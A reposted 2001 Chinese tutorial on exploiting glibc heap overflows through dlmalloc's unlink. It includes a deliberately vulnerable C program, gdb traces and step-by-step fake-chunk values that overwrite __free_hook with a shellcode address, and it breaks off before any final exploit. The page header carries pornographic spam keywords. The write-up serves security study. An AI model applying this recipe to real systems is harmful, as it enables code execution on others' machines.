3atv精品不卡视频,97人人超碰国产精品最新,中文字幕av一区二区三区人妻少妇,久久久精品波多野结衣,日韩一区二区三区精品

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一种新的Heap区溢出技术分析[转贴]

發布時間:2025/4/14 编程问答 13 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一种新的Heap区溢出技术分析[转贴] 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一種新的Heap區溢出技術分析[轉貼]---http://www.linuxsir.org/bbs/thread50097.html
作者:warning3 < maito:warning3@nsfocus.com >
主頁:http://www.nsfocus.com
日期:2001-3-09
原文出處:http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=529&keyword=%D6%D6%D0%C2%B5%C4Heap%C7%F8%D2%E7%B3%F6%BC%BC%CA%F5%B7%D6
★ 前言

通常的Heap區溢出只能利用覆蓋某些函數指針,jumpbuf或者重要變量等方式來
完成攻擊。這方面內容請參看我原來翻譯整理的<HEAP/BSS 溢出機理分析>:
http://magazine.nsfocus.com/detail.asp?id=353
如果系統中沒有這些條件,盡管能夠發生溢出,攻擊者仍然很難執行自己的代碼。
這里介紹一種利用malloc/realloc/free來進行攻擊的方法。這種方法使得Heap
攻擊的可能性大大增加了。

注:下面所有的代碼均在redhat 6.1(x86)Linux系統下測試通過。(glibc-2.1.3-21)

★ 目錄

1. 簡單介紹
2. 一個簡單的例子
3. malloc/calloc/realloc/free的基本概念
4. 兩種可能的攻擊方法
5. 針對弱點程序的兩個演示程序
6. 實例: Traceroute "-g"問題

★ 正文

1. 簡單介紹

使用malloc()或者calloc()可以動態分配一段內存,并向用戶返回一個內存地
址,而實際上這個地址前面通常有8個字節的內部結構,用來記錄分配的塊長度
以及一些標志。如果這些結構的內容被覆蓋,在某些malloc實現下,可能導致
攻擊者將任意數據寫到一個任意內存地址中去,從而可能改變程序執行流向,
以至執行任意代碼。

2. 一個簡單的例子

下面我們來看一個簡單的例子,這是一個非常典型的Heap溢出問題程序。它分
配兩塊內存,然后向其中的一塊拷貝了一些數據,由于沒有檢查數據長度,發
生溢出。
Shell代碼
  • /*?A?simple?vulnerable?program?for?malloc/free?test?-?vul.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/05??
  • */ ??
  • ??
  • #include?<stdlib.h> ??
  • ??
  • int ??
  • main?(int?argc,?char?*argv[]) ??
  • { ??
  • ??char?*buf,?*buf1; ??
  • ??
  • ??buf?=?malloc?(16);?/*?分配兩塊16字節內存?*/ ??
  • ??buf1?=?malloc?(16); ??
  • ?? ??
  • ??if?(argc?>?1) ??
  • ????memcpy?(buf,?argv[1],?strlen?(argv[1]));?/*?這里會發生溢出?*/ ??
  • ??
  • ??printf?("%#p?[?buf??]?(%.2d)?:?%s?\n",?buf,?strlen?(buf),?buf); ??
  • ??printf?("%#p?[?buf1?]?(%.2d)?:?%s?\n",?buf1,?strlen?(buf1),?buf1); ??
  • ??printf?("From?buf?to?buf1?:?%d\n\n",?buf1?-?buf); ??
  • ??
  • ??printf?("Before?free?buf\n"); ??
  • ??free?(buf);?/*?釋放buf?*/ ??
  • ??printf?("Before?free?buf1\n"); ??
  • ??free?(buf1);?/*?釋放buf1?*/ ??
  • ??
  • ??return?0; ??
  • }?/*?End?of?main?*/??
  • /* A simple vulnerable program for malloc/free test - vul.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/05 */#include <stdlib.h>int main (int argc, char *argv[]) {char *buf, *buf1;buf = malloc (16); /* 分配兩塊16字節內存 */buf1 = malloc (16);if (argc > 1)memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);printf ("From buf to buf1 : %d\n\n", buf1 - buf);printf ("Before free buf\n");free (buf); /* 釋放buf */printf ("Before free buf1\n");free (buf1); /* 釋放buf1 */return 0; } /* End of main */
    現在讓我們來看看結果:

    [warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
    0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24 <-- 兩個buffer之間相差 16+8=24 字節

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 為什么會是21字節??
    0x8049780 [ buf1 ] (00) : <-- 溢出的數據還沒有進入buf1"境內"
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 這次字節數對了
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped) <-- 出現可愛的段錯誤了
    <-- " Before free buf1"怎么沒有出現?說明段錯誤發生在執行free(buf)時

    [warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
    0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (04) : AAAA <-- 這回溢出的數據才算到達buf1"境內"
    From buf to buf1 : 24

    Before free buf
    Segmentation fault (core dumped)

    看起來,似乎這種段錯誤并不足以讓我們執行自己代碼,因為覆蓋的地方既沒有
    函數指針,也沒有任何所能利用的變量或結構,更別提返回地址了。別著急,接
    下來我就會告訴你怎么利用free()來得到我們的shell.在正式開始之前,我要先
    講一下malloc/calloc/realloc/free的基本概念。

    3. malloc/calloc/realloc/free的基本概念

    malloc/calloc/realloc/free這幾個函數,是用來分配或釋放動態內存的。

    目前很多Linux系統所用的malloc實現(包括libc5和glibc)都是由Doug Lea完成
    的。我們下面所講的,都是指這一版本的實現。

    從Linux的Man手冊MALLOC(3)中看到這些函數原型如下:

    void *calloc(size_t nmemb, size_t size);
    void *malloc(size_t size);
    void free(void *ptr);
    void *realloc(void *ptr, size_t size);

    calloc()用來分配nmemb個size大小的內存塊,并返回一個可用內存地址。
    它會自動將得到的內存塊全部清零。

    malloc()用來分配size大小的內存塊,并返回一個可用內存地址。

    free()釋放ptr所指向的內存。

    realloc()用來將ptr指向的一塊內存的大小改變為size.

    我們需要注意的是free()和realloc()函數。它們都是比較危險的函數,如果
    所提供的地址指針ptr所指向的內存是已經釋放的,或者不是由malloc類函數
    分配的話,就可能發生不可預料的情況。我們要利用的,也就是這些"不可預
    料"的情況。

    由于calloc()和malloc()差別不大,實際上都是調用的chunk_alloc()函數來
    進行分配的,區別只是calloc()在最后調用了一個宏 MALLOC_ZERO來將分配
    的內存塊清零。因此后面除非特別指出,我們就只以malloc()為例.

    malloc()定義了一個內部結構malloc_chunk來定義malloc分配或釋放的內存塊。

    struct malloc_chunk
    {
    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk;
    };

    prev_size是上一個塊的大小,只在上一個塊空閑的情況下才被填充
    size是當前塊的大小,它包括prev_size和size成員的大小(8字節)
    fd是雙向鏈表的向前指針,指向下一個塊。這個成員只在空閑塊中使用
    bk是雙向鏈表的向后指針,指向上一個塊。這個成員只在空閑塊中使用

    對于已分配的內存,除了分配用戶指定大小的內存空間外,還在前面增加了
    malloc_chunk結構的前兩個成員(8字節).一段已分配的內存結構如下圖所示:


    0 16 32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 上一個塊的字節數(如果上一個塊空閑的話) | |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 當前塊的字節數 (size) |M|P|
    mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 用戶數據開始... .
    . .
    . (用戶可以用空間大小) .
    . |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    這里chunk指針是malloc()在內部使用的,而返回給用戶的是mem指針(chunk +
    8),實際上向用戶隱藏了一個內部結構。也就是說,如果用戶要求分配size字節
    內存,實際上至少分配size+8字節,只是用戶可用的就是size字節(這里先不考
    慮對齊問題)。nextchunk指向下一個內存塊。


    對于空閑(或者說已經釋放的)塊,是存放在一個雙向循環鏈表(參見上面的
    malloc_chunk結構)中的。

    在內存中的分布基本如下圖所示:

    0 16 32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 上一個塊的字節數(prev_size) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' | 當前塊的字節數 (size) |M|P|
    mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 前指針(指向鏈表中的下一個塊) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 后指針(指向鏈表中的上一個塊) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | 未被雙向鏈表使用的空間(也可能是0字節長) .
    . .
    . |
    nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' | 上一個塊的字節數 (等于chunk->size) |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    大家可能主要到兩個表中都有一個"P"標志,它是"當前塊字節數"(chunk->size)
    中的最低一位,表示是否上一塊正在被使用。如果P位置一,則表示上一塊正在被
    使用,這時chunk->prev_size通常為零;如果P位清零,則表示上一塊是空閑塊,
    這是chunk->prev_size就會填充上一塊的長度。

    "M"位是表示此內存塊是不是由mmap()分配的,如果置一,則是由mmap()分配的,
    那么在釋放時會由munmap_chunk()去釋放;否則,釋放時由chunk_free()完成。

    這兩位標志相關定義為:

    #define PREV_INUSE 0x1
    #define IS_MMAPPED 0x2

    由于malloc實現中是8字節對齊的,size的低3位總是不會被使用的,所以在實際
    計算chunk大小時,要去掉標志位。例如:
    #define chunksize(p) ((p)->size & ~(SIZE_BITS))

    一次malloc最小分配的長度至少為16字節,例如malloc(0).(上面說的長度是指
    chunk的長度)

    了解了上面這些基本概念,我們再來看看free(mem)時做了些什么:

    首先將mem轉換為chunk(mem-8),并調用chunk_free()來釋放chunk所指的內存塊。

    然后程序會檢查其相鄰(包括前后)的內存塊是不是空閑的:
    如果是空閑塊的話,就將該相鄰塊從鏈表中摘除(unlink),然后將這些相鄰的空
    閑塊合并;
    如果不是空閑塊的話,就只是設置后一個相鄰塊的prev_size和size(清
    PREV_INUSE標志)。

    最后將得到的空閑塊加入到雙向鏈表中去。
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158 頂0 踩0
    kj501 kj501 我不在線 注冊時間
    2002-09-08 10:17:06
    最后登錄
    2009-08-13 19:27:26
    精華
    36
    帖子
    5232
    加為好友 關注 發站內信

    用戶頭銜:★☆版★主☆★

    狀態:我不在線

    沙發 發表于 2003-07-03 22:51:18 |只看該作者 |倒序瀏覽
    在進行unlink操作時,實際上就是執行了一個鏈表結點的刪除工作。
    比如,如果要從鏈表中刪除chunk結點,所要做得就是:
    chunk0->fd <== chunk->fd
    chunk1->bk <== chunk->bk

    如下所示:

    chunk0 chunk chunk1
    +----------------------+..+----------------------+..+----------------------+
    |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
    +----------------^-----+..+----------------+---+-+..+--------------------^-+
    |_________________________| |_________________________|

    malloc實現中是使用了一個unlink宏來完成這個操作的,定義如下:
    /* take a chunk off a list */

    #define unlink(P, BK, FD) \
    { \
    BK = P->bk; \
    FD = P->fd; \
    FD->bk = BK; \
    BK->fd = FD; \
    }

    發現了嗎?這里有兩個寫內存的操作。如果我們能夠覆蓋chunk->fd和chunk->bk
    的話,那么chunk->fd就會寫到(chunk->bk + 8)這個地址,而chunk->bk就會被
    寫到(chunk->fd + 12)這個地址!換句話說,我們可以將任意4個字節寫到任意
    一個內存地址中去!!我們就可能改變程序的流程,比如覆蓋函數返回地址、
    覆蓋PLT表項、.dtor結構等等,這不正是我們所要的嗎?

    free()和realloc()中都有unlink操作,因此我們要做的就是要想辦法用合適的
    值來覆蓋空閑塊結構中的*fd和*bk,并讓unlink能夠執行。

    下面讓我們再回到開頭的那個問題程序,看一下如何攻擊它。

    4. 兩種可能的攻擊方法

    先來看看弱點程序是怎么出錯的:

    [warning3@redhat-6 malloc]$ gdb ./vul -q
    (gdb) b main
    Breakpoint 1 at 0x80484a6: file vul.c, line 10.
    (gdb) r `perl -e 'print "A"x21'`
    Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

    Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
    10 buf = malloc (16); /* 分配兩塊16字節內存 */
    (gdb) n
    11 buf1 = malloc (16);
    (gdb) p/x buf
    $1 = 0x8049768
    (gdb) x/20x buf-8
    0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ p表示內存塊內部指針 ]

    [ 注意上面加*號的地方,這里開始的結點是鏈表中的top結點, #號處是它的長度 ]

    (gdb) p/x *(buf-4) <--- 這里存放的是當前塊的大小,設置了PREV_INUSE位
    $3 = 0x19
    (gdb) p/x *(buf-4)&~0x1 <-- 算一下實際長度: 0x18 = 0x10 + 0x8
    $4 = 0x18
    (gdb) n
    13 if (argc > 1)
    (gdb) p/x buf1 <-- 分配第二塊內存
    $5 = 0x8049780

    (gdb) x/20x buf-8
    0x8049760: p:0x00000000 0x00000019 buf:0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 p1:0x00000000 0x00000019
    0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: *0x00000000 #0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ p1表示內存塊內部指針 ]

    [ 我們看到top結點后移了0x18字節,長度也縮小了0x18字節 ]

    (gdb) n
    13 if (argc > 1)
    (gdb) n
    14 memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */
    (gdb) n
    16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141
    0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019
    0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

    [ 填入的20個字節已經溢出了buf,并覆蓋到了第二個內存塊的內部結構p1->prev_size ]
    [ 緊接著的那個字節0x19是p1塊的長度,所以下面再計算strlen(buf)時得到的長度為 ]
    [ 21.現在你應該明白開頭那個問題的答案了吧 ]

    (gdb) c
    Continuing.
    0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf
    Before free buf1

    由于上面的情況下,p1的size部分沒有被覆蓋,因此系統認為buf前后的塊都不
    是空閑的,因此就不會有unlink操作,也就不會有段錯誤發生了。如果我們再增
    加幾個字節,就沒有那么"幸運"了.

    (gdb) b 14
    Breakpoint 1 at 0x80484ca: file vul.c, line 14.
    (gdb) r `perl -e 'print "A"x24'`
    Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

    Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
    14 memcpy (buf, argv[1], strlen (argv[1])); /* 這里會發生溢出 */
    (gdb) x/20x buf-8
    0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000
    0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
    (gdb) n
    16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
    (gdb) x/20x buf-8
    0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141
    0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141
    0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
    0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
    0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
    (gdb) b 21 <-- 這時候buf1的內部結構(prev_size和size)已經被覆蓋了
    Breakpoint 2 at 0x804855e: file vul.c, line 21.
    (gdb) c
    Continuing.
    0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
    0x8049780 [ buf1 ] (00) :
    From buf to buf1 : 24

    Before free buf

    Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
    21 free (buf); /* 釋放buf */
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
    3100 malloc.c: No such file or directory.
    (gdb) x/i $pc
    0x400740c4 <chunk_free+268>: testb $0x1,0x4(%ecx,%esi,1)
    (gdb) i r $ecx
    ecx 0x41414140 1094795584 <-- 這個是覆蓋后p1的塊長度
    (gdb) i r $esi
    esi 0x8049778 134518648 <-- 這個是p1塊的地址

    下面我們來看free()是怎么工作的,以便確定到底是哪里發生了段錯誤。注意
    下面的代碼做了一些簡化:
    Shell代碼
  • void?fREe(Void_t*?mem) ??
  • { ??
  • ... ??
  • ??
  • (a)?if?(chunk_is_mmapped(p))?/*?如果IS_MMAPPED位被設置,則調用munmap_chunk()?*/ ??
  • ??{ ??
  • ????munmap_chunk(p); ??
  • ????return; ??
  • ??} ??
  • ... ??
  • ??p?=?mem2chunk(mem);??/*?將用戶地址轉換成內部地址:?p?=?mem?-?8?*/ ??
  • ... ??
  • ??chunk_free(ar_ptr,?p); ??
  • } ??
  • ??? ??
  • static?void ??
  • internal_function ??
  • chunk_free(arena?*ar_ptr,?mchunkptr?p)? ??
  • { ??
  • ??INTERNAL_SIZE_T?hd?=?p->size;?/*?hd是當前塊地址??*/ ??
  • ??INTERNAL_SIZE_T?sz;??/*?當前塊大小?*/ ??
  • ??INTERNAL_SIZE_T?nextsz;?/*?下一個塊大小?*/ ??
  • ??INTERNAL_SIZE_T?prevsz;?/*?上一個塊大小?*/ ??
  • ?? ??
  • ??... ??
  • ?? ??
  • ??check_inuse_chunk(ar_ptr,?p); ??
  • ??
  • ??sz?=?hd?&?~PREV_INUSE;??/*?取得當前塊的真實大小??*/ ??
  • ??next?=?chunk_at_offset(p,?sz);?/*?得到下一個塊的地址?*/ ??
  • ??nextsz?=?chunksize(next);?/*?得到下一個塊的真實大小? ??
  • ?????????????????????????????*?#define?chunksize(p)?((p)->size?&?~(SIZE_BITS)) ??
  • ?????????????????????????????*/ ??
  • ??
  • if?(next?==?top(ar_ptr))??/*?如果下一個塊是頭結點,則與之合并?*/ ??
  • ??{ ??
  • ????sz?+=?nextsz; ??
  • ??
  • (b)?if?(!(hd?&?PREV_INUSE))?/*?如果上一個塊是空閑的,則與之合并*/ ??
  • ????{ ??
  • ??????prevsz?=?p->prev_size; ??
  • ??????p?=?chunk_at_offset(p,?-prevsz); ??
  • ??????sz?+=?prevsz; ??
  • ??????unlink(p,?bck,?fwd);??/*?從鏈表中刪除上一個結點?*/ ??
  • ????} ??
  • ??
  • ????set_head(p,?sz?|?PREV_INUSE); ??
  • ????top(ar_ptr)?=?p; ??
  • ??
  • ?????.....?? ??
  • ??} ??
  • ??
  • /*?如果下一個塊不是頭結點?*/?? ??
  • ??
  • (b)??if?(!(hd?&?PREV_INUSE))?/*?如果上一個塊是空閑的,則與之合并*/ ??
  • ??{ ??
  • ????prevsz?=?p->prev_size; ??
  • ????p?=?chunk_at_offset(p,?-prevsz); ??
  • ????sz?+=?prevsz; ??
  • ??
  • ????if?(p->fd?==?last_remainder(ar_ptr))?????/*?keep?as?last_remainder?*/ ??
  • ??????islr?=?1; ??
  • ????else ??
  • ??????unlink(p,?bck,?fwd);???/*?從鏈表中刪除上一個結點?*/ ??
  • ??} ??
  • ??
  • ???/*?根據我的判斷,剛才的程序,是在進行這個檢查時發生段錯誤的?*/ ??
  • (c)if?(!(inuse_bit_at_offset(next,?nextsz)))/*?如果下一個塊是空閑的,則與之合并*/ ??
  • ??{ ??
  • ????sz?+=?nextsz; ??
  • ??
  • ???if?(!islr?&&?next->fd?==?last_remainder(ar_ptr)) ??
  • ??????????????????????????????????????????????/*?re-insert?last_remainder?*/ ??
  • ????{ ??
  • ??????islr?=?1; ??
  • ??????link_last_remainder(ar_ptr,?p); ??
  • ????} ??
  • ????else ??
  • ??????unlink(next,?bck,?fwd);/*?從鏈表中刪除下一個結點?*/ ??
  • ??
  • ????next?=?chunk_at_offset(p,?sz); ??
  • ??} ??
  • ??else ??
  • ????set_head(next,?nextsz);?/*?如果前后兩個塊都不是空閑的,則將下一個塊的size? ??
  • ???????????????????????????????中的PREV_INUSE位清零?*/?? ??
  • ??
  • ??set_head(p,?sz?|?PREV_INUSE); ??
  • ??next->prev_size?=?sz;???/*?將下一個塊的prev_size部分填成當前塊的大小?*/ ??
  • ??if?(!islr) ??
  • ????frontlink(ar_ptr,?p,?sz,?idx,?bck,?fwd);?/*?將當前這個塊插入空閑塊鏈表中?*/ ??
  • ??
  • ??..... ??
  • }??
  • void fREe(Void_t* mem) { ... (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被設置,則調用munmap_chunk() */ { munmap_chunk(p); return; } ... p = mem2chunk(mem); /* 將用戶地址轉換成內部地址: p = mem - 8 */ ... chunk_free(ar_ptr, p); } static void internal_function chunk_free(arena *ar_ptr, mchunkptr p) { INTERNAL_SIZE_T hd = p->size; /* hd是當前塊地址 */ INTERNAL_SIZE_T sz; /* 當前塊大小 */ INTERNAL_SIZE_T nextsz; /* 下一個塊大小 */ INTERNAL_SIZE_T prevsz; /* 上一個塊大小 */ ... check_inuse_chunk(ar_ptr, p); sz = hd & ~PREV_INUSE; /* 取得當前塊的真實大小 */ next = chunk_at_offset(p, sz); /* 得到下一個塊的地址 */ nextsz = chunksize(next); /* 得到下一個塊的真實大小 * #define chunksize(p) ((p)->size & ~(SIZE_BITS)) */ if (next == top(ar_ptr)) /* 如果下一個塊是頭結點,則與之合并 */ { sz += nextsz; (b) if (!(hd & PREV_INUSE)) /* 如果上一個塊是空閑的,則與之合并*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; unlink(p, bck, fwd); /* 從鏈表中刪除上一個結點 */ } set_head(p, sz | PREV_INUSE); top(ar_ptr) = p; ..... } /* 如果下一個塊不是頭結點 */ (b) if (!(hd & PREV_INUSE)) /* 如果上一個塊是空閑的,則與之合并*/ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); /* 從鏈表中刪除上一個結點 */ } /* 根據我的判斷,剛才的程序,是在進行這個檢查時發生段錯誤的 */ (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一個塊是空閑的,則與之合并*/ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd);/* 從鏈表中刪除下一個結點 */ next = chunk_at_offset(p, sz); } else set_head(next, nextsz); /* 如果前后兩個塊都不是空閑的,則將下一個塊的size 中的PREV_INUSE位清零 */ set_head(p, sz | PREV_INUSE); next->prev_size = sz; /* 將下一個塊的prev_size部分填成當前塊的大小 */ if (!islr) frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 將當前這個塊插入空閑塊鏈表中 */ ..... }
    我們看到這里面有3個地方調用了unlink.如果想要執行它們,需要滿足下列條件:

    1. (a) 當前塊的IS_MMAPPED位必須被清零,否則不會執行chunk_free()
    2. (b) 上一個塊是個空閑塊 (當前塊size的PREV_INUSE位清零)
    或者
    (c) 下一個塊是個空閑塊(下下一個塊(p->next->next)size的PREV_INUSE位清零)

    我們的弱點程序發生溢出時,可以覆蓋下一個塊的內部結構,但是并不能修改當前
    塊的內部結構,因此條件(b)是滿足不了的。我們只能寄希望于條件(c).

    所謂下下一個塊的地址其實是由下一個塊的數據來推算出來的,因此,既然我們
    可以完全控制下一個塊的數據,就可以讓下下一個塊的size的PREV_INUSE位為零。
    這樣程序就會認為下一個塊是個空閑塊了。假設當前塊為塊1,下一個塊為塊2,下
    下一個塊為塊3,如下圖所示:

    塊1 塊2 偽造的塊3
    +----------------------+------------------------+..+-------------------------+
    |prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意數據|
    +----------------------+------------------------+..+-------------------------+
    | | |
    |--> p |-->next |-->next2next

    next = p + (size & ~PREV_INUSE)
    next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

    因此,只要我們能夠通過修改size2,使得next2next指向一個我們控制的地址。
    我們在這個地址偽造一個塊3,使得此塊的size3的PREV_INUSE位置零即可!

    然后,在fd2處填入要覆蓋的地址,例如函數返回地址等等。Solar Designer建議
    可以使用__free_hook()的地址,這樣再下一次調用free()時就會執行我們的代碼。

    在bk2處可以填入shellcode的地址。

    實際構造的時候塊2的結構如下:

    prev_size2 = 0x11223344 /* 可以使用任意值 */
    size2 = (next2next - next) /* 這個數值必須是4的倍數 */
    fd2 = __free_hook - 12 /* 將shellcode地址剛好覆蓋到__free_hook地址處 */
    bk2 = shellcode /* 這將導致fd2被寫到shellcode + 8這個地址,所以需要
    在shellcode前面放一段跳轉語句以跳過fd2 */

    偽造的塊3則要求很低,只需要讓size3的最后一位為0即可:

    prev_size3 = 0x11223344 /* 可以使用任意值 */
    size3 = 0xffffffff & ~PREV_INUSE /* 這里的0xffffffff可以用任意非零值替換 */

    這個偽造的塊可以放在任意可能的位置,例如塊2的前面或者后面。如果要放在
    塊2的后面,由于size2是4個字節,因此如果距離比較小的話,那么size2是肯定
    要包含零字節的,這會中斷數據拷貝,因此距離必須足夠遠,以至于四個字節均
    不為零,堆棧段是一個不錯的選擇,通過設置環境變量等方法我們也可以準確的
    得到塊3的地址。
    如果我們要將塊3放到塊2的前面,那么size2就是個負值,通常是0xffffffxx等
    等。這肯定滿足size2不為零的要求,另外,這個距離我們也可以很精確的指定。
    因此我們決定采用這種方法。

    塊1 ( 塊3 ) 塊2
    +---------------------------------------+------------------------+
    |prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
    +---------------------------------------+------------------------+
    | |<---- 8 字節 -->|
    | |
    |<----- 16字節 -------->|

    在上面的圖上,我們將塊3的8字節的內部結構放在了塊1的用戶數據區中,而
    塊3的用戶數據區實際上是從塊2開始的。但是既然我們根本不關心塊3的prev
    _size以及數據段,而塊2的prev_size我們也不關心,我們還可以有更簡化的
    版本:將塊3往右移動4個字節,即讓siez3與prev_size2重合!

    | 塊1 |.... 塊3 ..| 塊2 |
    +---------------------------------------+------------------------+
    |prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
    +---------------------------------------+------------------------+
    | |<-- 4字節-->| (size3)
    | |
    |<----- 16字節 -------->|

    這樣next2next - next = -4 = 0xfffffffc .則塊2就可以重新構造一下:

    prev_size2 = 0x11223344 & ~PREV_INUSE /* 我們用原來的size3代替 */
    size2 = 0xfffffffc /* 長度為-4 */
    fd2 = __free_hook - 12 /* 將shellcode地址剛好覆蓋到__free_hook地址處 */
    bk2 = shellcode

    至于塊3的prev_size3,我們并不關心,因此并不需要再特別構造。這樣一來,
    我們的工作就大大簡化了,只需要構造一個塊2就可以了!
    現在我們看看我們要做的事情:

    i. 使用32字節數據模板,前16字節是任意非零數值,而后16字節是我們偽造的
    塊2

    ii. 找到__free_hook的地址。這個通過gdb可以方便的跟蹤出來
    $ [warning3@redhat-6 malloc]$ gdb ./vul -e
    (gdb) b main
    Breakpoint 1 at 0x80484a6: file vul.c, line 10.
    (gdb) r
    Starting program: /home/warning3/malloc/./vul

    Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
    10 buf = malloc (16); /* 分配兩塊16字節內存 */
    (gdb) p/x &__free_hook
    $2 = 0x401091b8

    iii. 確定shellcode的地址。并且要在shellcode前面增加一段跳轉代碼,以便
    跳過一個malloc_chunk結構,因為(__free_hook-12)這個值會被寫到
